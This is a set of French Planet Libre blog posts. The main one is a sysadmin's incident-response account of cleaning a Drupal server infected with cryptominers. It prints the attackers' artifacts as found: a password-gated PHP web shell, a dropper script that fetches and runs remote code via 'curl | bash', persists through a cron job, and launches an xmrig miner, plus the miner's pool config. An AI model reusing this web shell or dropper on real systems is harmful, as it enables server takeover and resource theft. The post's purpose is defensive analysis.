<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a></p>
<p><strong>Le legacy ?</strong></p>
<p>Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.</p>
<p>En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...</p>
<p>En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)</p>
<p><strong>Dresser une cartographie complète de l'existant</strong></p>
<p>A ma connaissance, il y a deux façons : la façon <i>barbare</i> et <i>la façon longue et fastidieuse</i></p>
<p><i>La façon barbare</i> : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.</p>
<p>Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.</p>
<p><i>La façon plus moderne</i></p>
<p>Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont <i>ansiblelisées</i>. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.</p>
<p><i>la façon longue et fastidieuse</i></p>
<p>J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.</p>
<p>Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...</p>
<p><strong>Tableau de suivi</strong></p>
<p>J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Nom de machine, <br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> IP publique
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> IP privée
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Groupe
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Services
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Etat des sauvegardes : sauvegardée ou non
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Version de l'OS <br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Etat des mises à jour
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Présence ou non de fail2ban
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Liste des ports ouverts sur l'extérieur
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).<br>
...</p>
<p><strong>Comment gérer le legacy ? Des O.S. obsolètes...</strong></p>
<p>Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.</p>
<p>Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".</p>
<p>Il faut prendre ça avec humour.</p>
<p><strong>Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.</strong></p>
<p><strong>Comment gérer le legacy ? Cas de la gestion des machines physiques</strong></p>
<p>Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...</p>
<p>Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...</p>
<p>Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir &amp; anticiper les pannes.</p>
<p>Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...</p>
<p><strong>Comment gérer le legacy ? Lister les priorités et les services critiques</strong></p>
<p>Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier : <br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> que l'on a des sauvegardes et que l'on sait les restaurer ;
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> que ces sauvegardes marchent ;
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> que les machines sont à jour...</p>
<p>Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).</p>
<p><strong>Conclusion</strong></p>
<p>Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.</p>
<p>Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.</p></div>
<p><img src="media/42493842.dd4318d0d3a7d2ffb13756f63b76d85d" data-original-source="http://cdn.libravatar.org/avatar/dd4318d0d3a7d2ffb13756f63b76d85d" alt="Gravatar de genma" class="gravatar" /><br/><i>Original post of <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Visit the source">genma</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2
title: genma : Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2
uri: genma-Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-n-2
url: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2
content:
<img alt="" src="https://blog.genma.fr/IMG/arton2755.jpg?1526922444" width="150" height="79"><div><p>Ce billet fait partie de la série :
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a></p>
<p>Comme le disait SebOS666 dans son billet <a href="https://blog.seboss666.info/2018/05/decoder-un-script-php-malveillant-comment-sen-proteger/" title="Décoder un script PHP malveillant, comment s'en protéger">Décoder un script PHP malveillant, comment s'en protéger</a>, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.</p>
<p>Attention :
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"> le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.</p>
<p><strong>Mineur de bitcoin Détection &amp; Root Cause</strong></p>
<p>Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.<br>
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...</p>
<p>Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.</p>
<p><strong>Analyse des processus</strong></p>
<p>Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID</p>
<p>un PID. La commande lsof donne le chemin du programme a la source :</p>
<div dir="ltr"><code>root@machine:~$ lsof -p le_PID<br> COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME<br> chron-34e 2059 www-data cwd DIR 202,1 4096 2 /<br> chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg<br> chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe<br> chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg<br> chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg<br> chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode<br> chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode<br> chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null<br> chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)</code></div>
<p>On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.</p>
<p>Autre cas avec un autre mineur :</p>
<div dir="ltr"><code>root@machine:/# ps -aux |grep sus<br> rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1<br><code><br><br> Dans ce cas là, on a un fichier de configuration.<br><br><br> Détection des processus et fichiers ouverts par un utilisateur<br><br><code><br> root@machine:/# lsof -u www-data<br> COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME<br> sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com<br> sh 5399 www-data rtd DIR 8,1 4096 2 /<br> sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash<br> sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so<br> sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so<br> sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe<br> sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO<br> curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com<br> curl 5400 www-data rtd DIR 8,1 4096 2 /<br> curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl</code></code></code></div>
<p>On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp</p>
<p><strong>Blocage des IP des serveurs extérieurs</strong></p>
<p>Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu</p>
<p>On cherche l'IP derrière cette machine via un simple et bête ping</p>
<div dir="ltr"><code>root@machine:~$ ping ip56.ip-217-XXX-XXX.eu<br> PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.<br> 64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms<br> 64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms<br> ^C<br> --- ip56.ip-217-XXX-XXX.eu ping statistics ---<br> 2 packets transmitted, 2 received, 0% packet loss, time 1001ms<br> rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms</code></div>
<p>Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.</p>
<p><strong>On bannira cette IP</strong>.</p>
<p>On regarde le contenu du fichier de configuration</p>
<div dir="ltr"><code>more config.json <br> {<br> "algo": "cryptonight", // cryptonight (default) or cryptonight-lite<br> "av": 0, // algorithm variation, 0 auto select<br> "background": true, // true to run the miner in the background<br> "colors": true, // false to disable colored output <br> "cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1<br> "cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)<br> "donate-level": 1, // donate level, mininum 1%<br> "log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"<br> "max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option. <br> "print-time": 60, // print hashrate report every N seconds<br> "retries": 5, // number of times to retry before switch to backup server<br> "retry-pause": 5, // time to pause between retries<br> "safe": false, // true to safe adjust threads and av settings for current CPU<br> "threads": null, // number of miner threads<br> "pools": [<br> {<br> "url": "158.69.XXXX.XXXX:3333", // URL of mining server<br> "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server<br> "pass": "x", // password for mining server<br> "keepalive": true, // send keepalived for prevent timeout (need pool support)<br> "nicehash": false // enable nicehash/xmrig-proxy support<br> },<br> {<br> "url": "192.99.XXXX.XXXX:3333", // URL of mining server<br> "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server<br> "pass": "x", // password for mining server<br> "keepalive": true, // send keepalived for prevent timeout (need pool support)<br> "nicehash": false // enable nicehash/xmrig-proxy support<br> },<br> {<br> "url": "202.144.XXX.XXX:3333", // URL of mining server<br> "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server<br> "pass": "x", // password for mining server<br> "keepalive": true, // send keepalived for prevent timeout (need pool support)<br> "nicehash": false // enable nicehash/xmrig-proxy support<br> }<br> ], <br> "api": {<br> "port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API<br> "access-token": null, // access token for API<br> "worker-id": null // custom worker-id for API<br> }<br> }</code></div>
<p><strong>On bannira ces IP</strong>.</p>
<p><strong>Vérification des connexions réseaux actives</strong></p>
<p>Trois commandes et outils pour voir les connexions actives avant et après le bannissement</p>
<div dir="ltr"><code>netstat -puant<br> Nethogs <br> Iftop</code></div>
<p>qui confirment les connexions aux serveurs.</p>
<p><strong>Bannir les IP</strong></p>
<p>Pour chaque série d'IP, on bannit via iptables</p>
<div dir="ltr"><code>iptables -A INPUT -s 217.182.231.56 -j DROP<br> iptables -A OUTPUT -d 217.182.231.56 -j DROP</code></div>
<p><strong>Connexion sortantes et entrantes bloquées, nettoyage...</strong></p>
<p><strong>Méthode barbare</strong></p>
<div dir="ltr"><code>rm -rf /tmp<br> rm -rf /var/tmp</code></div>
<p>Et on tue les processus liés à www-data</p>
<div dir="ltr"><code>killall -u www-data</code></div>
<p><strong>Autres fichiers en PHP dans la partie Drupal - site web</strong></p>
<p>Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.</p>
<div dir="ltr"><code>$ ls<br> css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php</code></div><div dir="ltr"><code>cat lefichier |base64 -d<br> if(isset($_REQUEST['pass']))<br> { <br> echo "<pre>"; <br> $hash = hash("sha512", $_REQUEST['pass']);<br> if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")<br> { if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}<br> else echo "gtfo";<br> echo "</pre>"; <br> die; <br> }</code></div>
<p>Pour le reste, je vous renvoie à <a href="https://blog.seboss666.info/2018/05/decoder-un-script-php-malveillant-comment-sen-proteger/" title="Décoder un script PHP malveillant, comment s'en protéger">Décoder un script PHP malveillant, comment s'en protéger</a>, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...</p>
<p><strong>Les fichiers réapparaissent</strong></p>
<p>Malgré les kill, le processus se relance et les fichiers réapparaissent.</p>
<p>On regarde de nouveau les processus</p>
<div dir="ltr"><code>root@machine:/# ps -aux |grep rapport<br> rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s<br> rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s<br> rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3<br> root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport<br><br> root@machine:/# ps -eaf |grep rapport<br> rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s<br> rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg<br> rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s<br> rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com <br> root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport<br> On un curl qui est lancé (qui était masqué).</code></div>
<p>On récupère le fichier via wget et on regarde son contenu</p>
<div dir="ltr"><code>$ cat logo9.jpg<br> #!/bin/sh<br> pkill -f 192.99.XXX.XXX<br> pkill -f suppoie<br> ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid<br> do<br> kill -9 $procid<br> done<br> rm -rf /dev/shm/jboss<br> ps -fe|grep -w sustes |grep -v grep<br> if [ $? -eq 0 ]<br> then<br> pwd<br> else<br> crontab -r || true &amp;&amp; \\<br> echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true &amp;&amp; \\<br> crontab /tmp/cron || true &amp;&amp; \\<br> rm -rf /tmp/cron || true &amp;&amp; \\<br> curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json<br> curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig<br> chmod 777 /var/tmp/sustes<br> cd /var/tmp<br> proc=`grep -c ^processor /proc/cpuinfo`<br> cores=$((($proc+1)/2))<br> num=$(($cores*3))<br> /sbin/sysctl -w vm.nr_hugepages=`$num`<br> nohup ./sustes -c config.json -t `echo $cores` >/dev/null &amp;<br> fi<br> sleep 3<br> echo "runing....."</code></div>
<p>Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....</p>
<p>C'est ce processus masqué qui fait revenir les fichiers...</p>
<p><strong>Ban de l'IP</strong></p>
<div dir="ltr"><code>iptables -A INPUT -s 192.99.XXX.XXX -j DROP<br> iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP</code></div>
<p><strong>Nettoyage des tâches cron</strong></p>
<p>Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.</p>
<p>En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs <br>
Il reste des tâches à nettoyer :</p>
<div dir="ltr"><code>root@machine:/var/spool/cron/crontabs# ls<br> www-data<br><br> cat www-data<br> root@machine:/var/spool/cron/crontabs# cat www-data <br> # DO NOT EDIT THIS FILE - edit the master and reinstall.<br> # (/tmp/cron installed on Mon May 21 09:46:01 2018)<br> # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)<br> * * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s</code></div>
<p>Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur</p>
<div dir="ltr"><code>rm /var/spool/cron/crontabs/www-data<br> killall -u www-data</code></div>
<p><strong>Changement des droits de /var/tmp</strong></p>
<p>Par défaut, les droits de /var/tmp était en 777 sur cette machine...</p>
<div dir="ltr"><code>chmod 755 /var/tmp</code></div>
<p>comme ça le processus lié à l'utilisateur php ne peut plus écrire.</p>
<p><strong>Conclusion</strong></p>
<p>On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...</p></div>
<p><img src="media/42493842.dd4318d0d3a7d2ffb13756f63b76d85d" data-original-source="http://cdn.libravatar.org/avatar/dd4318d0d3a7d2ffb13756f63b76d85d" alt="Gravatar de genma" class="gravatar" /><br/><i>Original post of <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Visit the source">genma</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: http://geekeries.de-labrusse.fr/?p=3310
title: Stéphane de Labrusse : Rspamd: un nouveau jouet pour Nethserver
uri: Stéphane-de-Labrusse-Rspamd-un-nouveau-jouet-pour-Nethserver
url: http://geekeries.de-labrusse.fr/?p=3310
content:
<p><a href="https://rspamd.com/">Rspamd</a> est un logiciel antispam, un concurrent en quelque sorte de spamassassin, qui n’est plus vraiment développé. Rspamd est jeune,  il apprend rapidement, extensible, en pleine mutation.</p>
<p>Cela en  fait un outil très intéressant pour <a href="https://community.nethserver.org/">NethServer </a>qui propose par le biais de ses modules de pouvoir installer facilement un serveur email avec toutes les parties annexes (imap, pop3, opendkim, spf, spamassassin/rspamd, smtp relay, …).</p>
<p>Le tout en cliquant simplement dans le software center alors que le paramétrage de Postfix et sa sécurisation pourraient être un calvaire pour d’autres.<a href="media/36d0eb39.eenshot-2018-5-24-prometheus-980-rspamd-Rspamd-Web-Interface.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/05/Screenshot-2018-5-24-prometheus-980-rspamd-Rspamd-Web-Interface.png"><img src="media/e12aeeec.2018-5-24-prometheus-980-rspamd-Rspamd-Web-Interface-300x137.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/05/Screenshot-2018-5-24-prometheus-980-rspamd-Rspamd-Web-Interface-300x137.png" alt="" width="300" height="137" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/05/Screenshot-2018-5-24-prometheus-980-rspamd-Rspamd-Web-Interface-300x137.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/05/Screenshot-2018-5-24-prometheus-980-rspamd-Rspamd-Web-Interface-768x350.png 768w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/05/Screenshot-2018-5-24-prometheus-980-rspamd-Rspamd-Web-Interface-1024x466.png 1024w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/05/Screenshot-2018-5-24-prometheus-980-rspamd-Rspamd-Web-Interface.png 1353w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p>Pour l’instant rspamd est un module différent de la pile email habituelle, il vous faut installer les rpms : nethserver-mail2-server nethserver-mail2-filter mais la procédure est documentée et nous devons très bientôt remplacer spamassassin par rspamd.</p>
<p>La documentation est accessible <a href="http://docs.nethserver.org/en/latest/mail.html">ICI</a></p>
<p>Je peux dire nous, car avec fierté, j’ai largement contribué à créer ce module avec le soutien et l’aide de Davide Principi le lead-developer de NethServer.</p>
<p><img src="media/a4703277.1be3cefe3c0e087f283fd7702b8f7c76" data-original-source="http://cdn.libravatar.org/avatar/1be3cefe3c0e087f283fd7702b8f7c76" alt="Gravatar de St&eacute;phane de Labrusse" class="gravatar" /><br/><i>Original post of <a href="http://geekeries.de-labrusse.fr/?p=3310" title="Visit the source">Stéphane de Labrusse</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>St&eacute;phane de Labrusse : <a href="">Un nouveau HowTo Anti-Prism</a> (29/07/2013)</li><li>St&eacute;phane de Labrusse : <a href="">La m&eacute;t&eacute;ore Nethserver</a> (24/05/2018)</li><li>St&eacute;phane de Labrusse : <a href="">nethserver, une distribution serveur</a> (21/11/2017)</li><li>St&eacute;phane de Labrusse : <a href="">Prism, Tempora, Snowden, Obama, la NSA et nous!</a> (23/08/2013)</li><li>St&eacute;phane de Labrusse : <a href="">Signer ses RPM</a> (02/11/2013)</li></ul></div></p>


feed_id: http://geekeries.de-labrusse.fr/?p=3305
title: Stéphane de Labrusse : La météore Nethserver
uri: Stéphane-de-Labrusse-La-météore-Nethserver
url: http://geekeries.de-labrusse.fr/?p=3305
content:
<p>J’ai eu l’occasion de faire une conférence de présentation de la distribution <a href="https://community.nethserver.org/">Nethserver</a>, le 18 novembre 2017 au capitole du libre. Je vous livre la présentation ainsi que la vidéo.</p>
<p><a href="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/05/meteore_nethserver_20171119.odp">meteore_nethserver_20171118.odp</a></p>
<p><a href="media/3b92a043.meteore_nethserver_20171119.pdf" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/05/meteore_nethserver_20171119.pdf">meteore_nethserver_20171118.pdf</a></p>
<p><iframe width="650" height="366" src="https://www.youtube.com/embed/uq6q12lyGn0?feature=oembed" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></p>
<p> </p>
<p>Un grand moment pour moi, merci à tous les participants.</p>
<p><img src="media/a4703277.1be3cefe3c0e087f283fd7702b8f7c76" data-original-source="http://cdn.libravatar.org/avatar/1be3cefe3c0e087f283fd7702b8f7c76" alt="Gravatar de St&eacute;phane de Labrusse" class="gravatar" /><br/><i>Original post of <a href="http://geekeries.de-labrusse.fr/?p=3305" title="Visit the source">Stéphane de Labrusse</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>St&eacute;phane de Labrusse : <a href="">Rspamd: un nouveau jouet pour Nethserver</a> (24/05/2018)</li><li>St&eacute;phane de Labrusse : <a href="">nethserver, une distribution serveur</a> (21/11/2017)</li><li>St&eacute;phane de Labrusse : <a href="">Un nouveau HowTo Anti-Prism</a> (29/07/2013)</li><li>St&eacute;phane de Labrusse : <a href="">Prism, Tempora, Snowden, Obama, la NSA et nous!</a> (23/08/2013)</li><li>St&eacute;phane de Labrusse : <a href="">Signer ses RPM</a> (02/11/2013)</li></ul></div></p>


feed_id: https://www.blog-libre.org/2018/05/26/lignux/
title: blog-libre : Lignux
uri: blog-libre-Lignux
url: https://www.blog-libre.org/2018/05/26/lignux/
content:
<p>Au détour d’une promenade sur le net, j’ai vu quelques personnes pousser à l’adoption du mot LiGNUx à la place de GNU/Linux. Ça m’a fait marrer… puis je me suis rendu compte que c’était une putain de bonne idée. Je me voyais déjà défendre fièrement cette prodigieuse idée dans un article.</p>
<p>Comme j’aime les mots et que je creuse les choses à l’occasion de la rédaction d’un article, j’ai découvert qu’il y avait une page Wikipédia consacrée à la controverse <a href="https://fr.wikipedia.org/wiki/Linux_ou_GNU/Linux" rel="noopener" target="_blank">Linux ou GNU/Linux</a>. C’est énorme, il y a des arguments en faveur de chacun des deux usages mais surtout : </p>
